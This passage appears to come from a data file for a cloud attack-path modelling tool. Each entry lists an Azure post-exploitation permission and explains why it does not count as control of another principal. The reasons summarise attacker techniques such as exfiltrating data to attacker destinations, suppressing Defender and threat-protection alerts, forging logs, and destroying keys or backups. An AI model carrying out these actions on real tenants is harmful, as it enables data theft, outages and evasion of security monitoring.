src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsmongodbdatabasescollectionsread--microsoftdocumentdbdatabaseaccountsmongodbdatabasescollectionswrite + technique: Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read && Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write + source_revision: a66f094ede + reason: Read and alter collection definitions (indexes, shard key, throughput) in Mongo-API databases; replacing/recreating a collection + drops its documents → destructive data loss. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsmongodbdatabaseswrite--microsoftdocumentdbdatabaseaccountsmongodbdatabasesread + technique: Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write && Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read + source_revision: a66f094ede + reason: Create or delete Mongo-API databases; deleting a database is destructive (all child collections and documents lost). The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsfailoverprioritychangeaction + technique: Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action + source_revision: a66f094ede + reason: 'Availability/DoS: reorder regional failover priority to force a different region to become primary, degrading or interrupting + availability of a multi-region account without touching any data permission. The section does not establish control of another Azure/Entra + principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsregeneratekeyaction + technique: Microsoft.DocumentDB/databaseAccounts/regenerateKey/action + source_revision: a66f094ede + reason: 'Availability/DoS and lockout: rotating a master key invalidates every app/service using the current key. The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#budgets--notifications-microsoftconsumptionbudgets + technique: Budgets + notifications (Microsoft.Consumption/budgets) + source_revision: a66f094ede + reason: Deleting the budget, disabling its notification, or raising the threshold above your expected burn removes the 'spend crossed + a threshold' email/Action-Group signal (Logic App/Function/webhook) that would. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#cost-anomaly-alerts-microsoftcostmanagementscheduledactions-kind-insightalert + technique: Cost anomaly alerts (Microsoft.CostManagement/scheduledActions, kind InsightAlert) + source_revision: a66f094ede + reason: Deleting/disabling the InsightAlert scheduled action stops Azure's daily unsupervised cost-anomaly email — the closest thing + Azure has to 'unusual billing behaviour' alerting; the anomaly is still computed. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#exports-microsoftcostmanagementexports + technique: Exports (Microsoft.CostManagement/exports) + source_revision: a66f094ede + reason: Deleting or narrowing a scheduled cost/usage export cuts the downstream feed that frequently powers a FinOps pipeline or a + SIEM, removing that off-platform visibility into your resource abuse. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#microsoftkustoclustersaddcalloutpoliciesaction--callout-policy--ssrf--exfil-egress + technique: Microsoft.Kusto/Clusters/AddCalloutPolicies/action — callout policy → SSRF / exfil egress + source_revision: a66f094ede + reason: whitelist an attacker-controlled destination for cluster callouts, then run queries that reach it — externaldata/httprequest-style + operators and external-table/export writes can be pointed at attacker hosts. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#blind-sink-replacement-with-microsoftdatafactoryfactoriesdatasetswrite + technique: Blind sink replacement with Microsoft.DataFactory/factories/datasets/write + source_revision: a66f094ede + reason: Replacing a dataset or linked-service sink redirects future pipeline output to an attacker destination; the documented result + is data exfiltration, not the factory managed identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#blind-sink-replacement-with-microsoftdatafactoryfactorieslinkedserviceswrite + technique: Blind sink replacement with Microsoft.DataFactory/factories/linkedservices/write + source_revision: a66f094ede + reason: Replacing a dataset or linked-service sink redirects future pipeline output to an attacker destination; the documented result + is data exfiltration, not the factory managed identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecuritypricingswrite--downgrade-a-plan-to-free + technique: Microsoft.Security/pricings/write — downgrade a plan to Free + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityalertssuppressionruleswrite--pre-dismiss-alerts + technique: Microsoft.Security/alertsSuppressionRules/write — pre-dismiss alerts + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecuritysecuritycontactswrite--silence-notifications + technique: Microsoft.Security/securityContacts/write — silence notifications + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityalerts--dismissresolve-already-fired-alerts + technique: Microsoft.Security/alerts — dismiss/resolve already-fired alerts + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityautomationswritedelete--break-continuous-export + technique: Microsoft.Security/automations/write|delete — break continuous export + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesread-microsoftstoragestorageaccountsfileservicesreadfilebackupsemanticsaction + technique: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read, Microsoft.Storage/storageAccounts/fileServices/readFileBackupSemantics/action + source_revision: a66f094ede + reason: File-share read discloses stored file contents; any credentials inside are content-dependent and no specific Azure/Entra principal + is established. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesdelete-microsoftstoragestorageaccountsfileserviceswritefilebackupsemanticsaction + technique: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/delete, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action + source_revision: a66f094ede + reason: Delete a file or folder in a share -> service interruption or loss of valuable data for clients relying on the share. The + section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsgetsecretaction + technique: Microsoft.KeyVault/vaults/secrets/getSecret/action + source_revision: a66f094ede + reason: Reading a service-principal secret is modelled by azure-keyvault-secret-read-sp-credentials; other secret contents are data + exposure with no identified principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsrestoreaction + technique: Microsoft.KeyVault/vaults/secrets/restore/action + source_revision: a66f094ede + reason: Materialises a point-in-time copy of a secret — including versions that were deleted or rotated away — into a vault the attacker + can read. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysunwrapkeyaction--recover-cmk-wrapped-data-encryption-keys + technique: Microsoft.KeyVault/vaults/keys/unwrapKey/action — recover CMK-wrapped data-encryption keys + source_revision: a66f094ede + reason: Key use decrypts captured ciphertext or wrapped data keys; it does not export the vault key or identify another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysdecryptaction + technique: Microsoft.KeyVault/vaults/keys/decrypt/action + source_revision: a66f094ede + reason: Key use decrypts captured ciphertext or wrapped data keys; it does not export the vault key or identify another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysrecoveraction + technique: Microsoft.KeyVault/vaults/keys/recover/action + source_revision: a66f094ede + reason: Brings a soft-deleted key back into service. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysencryptaction + technique: Microsoft.KeyVault/vaults/keys/encrypt/action + source_revision: a66f094ede + reason: Limited on its own — it lets you produce ciphertext under a key you cannot export. The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretssetsecretaction + technique: Microsoft.KeyVault/vaults/secrets/setSecret/action + source_revision: a66f094ede + reason: Poisoning a secret used by a privileged workload is modelled by azure-keyvault-secret-poisoning-consumer; creating an unused + secret only stores attacker data. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultscertificatespurgeaction + technique: Microsoft.KeyVault/vaults/certificates/purge/action + source_revision: a66f094ede + reason: Permanent, irreversible destruction of a certificate and its private key. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeyspurgeaction + technique: Microsoft.KeyVault/vaults/keys/purge/action + source_revision: a66f094ede + reason: Irreversible destruction of a key. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretspurgeaction + technique: Microsoft.KeyVault/vaults/secrets/purge/action + source_revision: a66f094ede + reason: Irreversible destruction of a secret and all its versions — outage for whatever consumes it, and destruction of evidence about + what the credential was. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultscertificatesdelete + technique: Microsoft.KeyVault/vaults/certificates/delete + source_revision: a66f094ede + reason: Removes a certificate from active use, breaking TLS termination or service-principal certificate auth. The section does not + establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysdelete + technique: Microsoft.KeyVault/vaults/keys/delete + source_revision: a66f094ede + reason: Immediately breaks everything that uses the key — including CMK-encrypted Storage/Disks/SQL, which go inaccessible the moment + the key is soft-deleted, before any purge. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsdelete + technique: Microsoft.KeyVault/vaults/secrets/delete + source_revision: a66f094ede + reason: Denial of service for the consuming application. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#microsoftoperationalinsightsworkspacesdataexportswrite--continuous-log-exfiltration + technique: Microsoft.OperationalInsights/workspaces/dataExports/write — continuous log exfiltration + source_revision: a66f094ede + reason: a Data Export rule continuously streams selected tables (SigninLogs, SecurityEvent, AuditLogs, custom security tables) to + attacker-controlled Storage / Event Hub as new rows arrive — a standing, hands-off. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#microsoftoperationalinsightsworkspacessavedsearcheswrite--poison-the-kql-functions--computer-groups-behind-detections + technique: Microsoft.OperationalInsights/workspaces/savedSearches/write — poison the KQL functions / computer groups behind detections + source_revision: a66f094ede + reason: saved searches include saved KQL functions and computer groups that analytics rules, workbooks and Sentinel content reference + by name. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowsread-microsoftlogicworkflowswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Microsoft.Logic/workflows/read, Microsoft.Logic/workflows/write && Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + source_revision: a66f094ede + reason: The workflow-write plus userAssignedIdentities/assign/action path is already modelled by the Logic Apps managed-identity assignment + entry in logic_apps.yaml. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesconfiglistaction-microsoftwebsitesread--microsoftwebsitesconfigwrite + technique: Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/read && Microsoft.Web/sites/config/write + source_revision: a66f094ede + reason: The config/write code-execution path is modelled by azure-appservice-config-write; config/list and sites/read + only reveal configuration. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsdatacollectionruleswrite--associations--turn-azure-monitor-agent-into-a-file-exfiltrator + technique: Microsoft.Insights/dataCollectionRules/write (+ associations) — turn Azure Monitor Agent into a file + exfiltrator + source_revision: a66f094ede + reason: DCR writes can cause AMA to ship host files into a readable workspace, but an ARM snapshot cannot show + that the chosen guest file exists, contains a usable credential, or maps to another principal. The host file + content and VM-to-file-to-credential join are required; do not emit a principal edge from DCR write alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsactiongroupswrite--plant-attacker-receivers-alert-data-exfil--execution-wiring + technique: Microsoft.Insights/actionGroups/write — plant attacker receivers (alert-data exfil + execution wiring) + source_revision: a66f094ede + reason: 'distinct from reading/reusing an existing action group — creating/modifying one lets the attacker add their own receivers: + an eventHubReceiver/webhookReceiver at attacker infra exfiltrates every alert. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsdatacollectionrulesdatawrite--forge-logs-via-the-modern-logs-ingestion-api + technique: Microsoft.Insights/dataCollectionRules/data/write — forge logs via the modern Logs Ingestion API + source_revision: a66f094ede + reason: inject arbitrary records into the DCR's target streams / custom tables (and, via DCR transformations, potentially standard + tables) — forging or flooding logs to poison detections, fabricate benign-looking. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversdatabaseswrite--microsoftdbformysqlflexibleserversdatabasesread + technique: Microsoft.DBforMySQL/flexibleServers/databases/write && Microsoft.DBforMySQL/flexibleServers/databases/read + source_revision: a66f094ede + reason: Enumerate databases and create new ones; unauthorized DB creation consumes resources and can interfere with apps that key + off database names. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversstartaction + technique: Microsoft.DBforMySQL/flexibleServers/start/action + source_revision: a66f094ede + reason: Start a stopped server, restoring availability (used to bring a server back after a stop, or to re-enable management operations). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversresetgtidaction + technique: Microsoft.DBforMySQL/flexibleServers/resetGtid/action + source_revision: a66f094ede + reason: Reset the GTID set → invalidates all available backups of the server (destructive / anti-recovery, hampers restore-based remediation). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversfirewallruleswrite + technique: Microsoft.DBforMySQL/flexibleServers/firewallRules/write + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversadvancedthreatprotectionsettingswrite + technique: Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write + source_revision: a66f094ede + reason: Disable Advanced Threat Protection → suppress the anomalous-activity alerts that would otherwise flag the attacker's database + access (defense evasion). The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversupdateconfigurationsaction + technique: Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action + source_revision: a66f094ede + reason: Changing parameters can disable auditing or cause init_connect SQL to run on a later non-administrator + database login, but this section documents no privilege-granting SQL, usable result channel, or gained target + identity. A separate database login is not required for init_connect to run; the future client connection and + successful privilege-changing side effect remain unverified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversstopaction + technique: Microsoft.DBforMySQL/flexibleServers/stop/action + source_revision: a66f094ede + reason: Stop the server → database unavailable and management operations blocked while stopped (availability impact / DoS). The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversdatabaseswrite--microsoftdbforpostgresqlflexibleserversdatabasesread + technique: Microsoft.DBforPostgreSQL/flexibleServers/databases/write && Microsoft.DBforPostgreSQL/flexibleServers/databases/read + source_revision: a66f094ede + reason: List and create databases on the server; unauthorized creation consumes resources and can disrupt apps keyed off database + names. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversstartaction + technique: Microsoft.DBforPostgreSQL/flexibleServers/start/action + source_revision: a66f094ede + reason: Start a stopped server, restoring availability and management operations. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversfirewallruleswrite-microsoftdbforpostgresqlflexibleserversread--microsoftdbforpostgresqlflexibleserversfirewallrulesread + technique: Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write, Microsoft.DBforPostgreSQL/flexibleServers/read && Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversconfigurationswrite--microsoftdbforpostgresqlflexibleserversconfigurationsread + technique: Microsoft.DBforPostgreSQL/flexibleServers/configurations/write && Microsoft.DBforPostgreSQL/flexibleServers/configurations/read + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversadvancedthreatprotectionsettingswrite--microsoftdbforpostgresqlflexibleserversadvancedthreatprotectionsettingsread + technique: Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write && Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read + source_revision: a66f094ede + reason: Disable Advanced Threat Protection → suppress anomalous-activity alerts before accessing the database (defense evasion). The + section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversstopaction + technique: Microsoft.DBforPostgreSQL/flexibleServers/stop/action + source_revision: a66f094ede + reason: Stop the server compute → database unavailable (availability impact / DoS). The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesread + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/read' + source_revision: a66f094ede + reason: Read queue message contents without dequeuing → exfiltrate whatever the queue carries. The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesaddaction + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action' + source_revision: a66f094ede + reason: Forged or changed messages can steer a privileged queue-triggered workload; azure-queue-message-injection-consumer models + this permission and requires a trusting consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueueswrite + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/write' + source_revision: a66f094ede + reason: Create attacker queues or rewrite metadata → disrupt or mislead applications that trust queue names/metadata. The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessageswrite + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/write' + source_revision: a66f094ede + reason: Forged or changed messages can steer a privileged queue-triggered workload; azure-queue-message-injection-consumer models + this permission and requires a trusting consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueuessetaclaction + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action' + source_revision: a66f094ede + reason: Replace a queue's stored access policies, changing the permissions or expiry of service SAS tokens already tied to those policy + identifiers. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueuesdelete + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/delete' + source_revision: a66f094ede + reason: 'Destructive: delete a queue and every message in it → data loss and denial of service for producers/consumers. The section + does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesdelete + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete' + source_revision: a66f094ede + reason: 'Destructive: clear/delete messages → wipe queued work without deleting the queue itself (silent data loss). The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesprocessaction + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action' + source_revision: a66f094ede + reason: Dequeue and delete messages → steal payloads and remove work from consumers (data theft + disruption). The section does not + establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#full-cache-exfiltration-with-microsoftcacheredisexportaction + technique: Full-cache exfiltration with Microsoft.Cache/redis/export/action + source_revision: a66f094ede + reason: Redis export copies cache data, potentially including session tokens or secrets; the contents and resulting principal are + unknown from the permission grant. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#cache-poisoning-with-microsoftcacheredisimportaction + technique: Cache poisoning with Microsoft.Cache/redis/import/action + source_revision: a66f094ede + reason: Importing a crafted Redis RDB may forge application session state, but the affected application user and cache schema are + unknown; no Azure/Entra principal edge can be identified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#exposure-flips-with-microsoftcacherediswrite + technique: Exposure flips with Microsoft.Cache/redis/write + source_revision: a66f094ede + reason: 'privesc-enabler: property flips that widen reachability so a held/leaked key becomes usable — enableNonSslPort=true (opens + plaintext 6379 → sniffable credentials/data), publicNetworkAccess=Enabled, lowering. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#open-the-data-plane-firewall-with-microsoftcacheredisfirewallruleswrite + technique: Open the data-plane firewall with Microsoft.Cache/redis/firewallRules/write + source_revision: a66f094ede + reason: 'privesc-enabler: adds a firewall rule (e.g. The section does not establish control of another Azure/Entra principal from + this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#control-plane-cache-wipe-with-microsoftcacheredisflushaction + technique: Control-plane cache wipe with Microsoft.Cache/redis/flush/action + source_revision: a66f094ede + reason: 'availability/integrity: wipes ALL cached data via ARM — no Redis key or data-port reachability required. The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesqueueswrite-microsoftservicebusnamespacesqueuesread + technique: 'Actions: Microsoft.ServiceBus/namespaces/queues/write (Microsoft.ServiceBus/namespaces/queues/read)' + source_revision: a66f094ede + reason: Forwarding or disabling message entities intercepts or drops messages. Message injection into a privileged consumer is separately + modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicssubscriptionswrite-microsoftservicebusnamespacestopicssubscriptionsread + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/subscriptions/write (Microsoft.ServiceBus/namespaces/topics/subscriptions/read)' + source_revision: a66f094ede + reason: Forwarding or disabling message entities intercepts or drops messages. Message injection into a privileged consumer is separately + modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespacesnetworkrulesetswrite---network-lock-out--exposure + technique: Microsoft.ServiceBus/namespaces/networkRuleSets/write - Network lock-out / exposure + source_revision: a66f094ede + reason: Two abuses. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes the entire namespace and every queue/topic/subscription and their messages → permanent data loss and + denial of service across all dependent workflows. The section does not establish control of another Azure/Entra principal from this + action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicsdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a topic with all its subscriptions and messages → data loss and disruption of every consumer of that + topic. The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesqueuesdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/queues/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a queue and all messages in it → data loss and disruption of producers/consumers of that queue. The + section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicssubscriptionsdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a subscription and its buffered messages → breaks the consumer bound to it and drops undelivered messages. + The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicswrite-microsoftservicebusnamespacestopicsread + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/write (Microsoft.ServiceBus/namespaces/topics/read)' + source_revision: a66f094ede + reason: 'Reconfigure a topic: lower default TTL to expire messages early or set status Disabled to interrupt message processing (DoS + / data loss). The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespacesdisasterrecoveryconfigswrite-failoveraction-breakpairingaction---geo-dr-failover--break-pairing-hijack + technique: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/write, .../failover/action, .../breakPairing/action - Geo-DR failover + / break-pairing hijack + source_revision: a66f094ede + reason: fail-over repoints the Geo-DR alias to the secondary and permanently breaks the pairing (once-only, near-instant); break-pair + tears down replication. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespaceswrite---disable-local-auth-lock-out-disablelocalauthtrue + technique: Microsoft.ServiceBus/namespaces/write - Disable local auth lock-out (disableLocalAuth=true) + source_revision: a66f094ede + reason: Setting disableLocalAuth=true instantly invalidates every SAS credential in the namespace, breaking any producer/consumer + that relies on connection strings (extremely common) — a one-line,. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqllocationsconnectionpoliciesazureasyncoperationread-microsoftsqlserversconnectionpoliciesread--microsoftsqlserversconnectionpolicieswrite + technique: Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write + source_revision: a66f094ede + reason: Force the server's connection policy to Proxy so all client connections are routed through the Azure SQL gateway instead of + direct-to-node (Redirect) → changes the network path (useful for. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesread-microsoftsqlserversread--microsoftsqlserversdatabaseswrite + technique: Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read 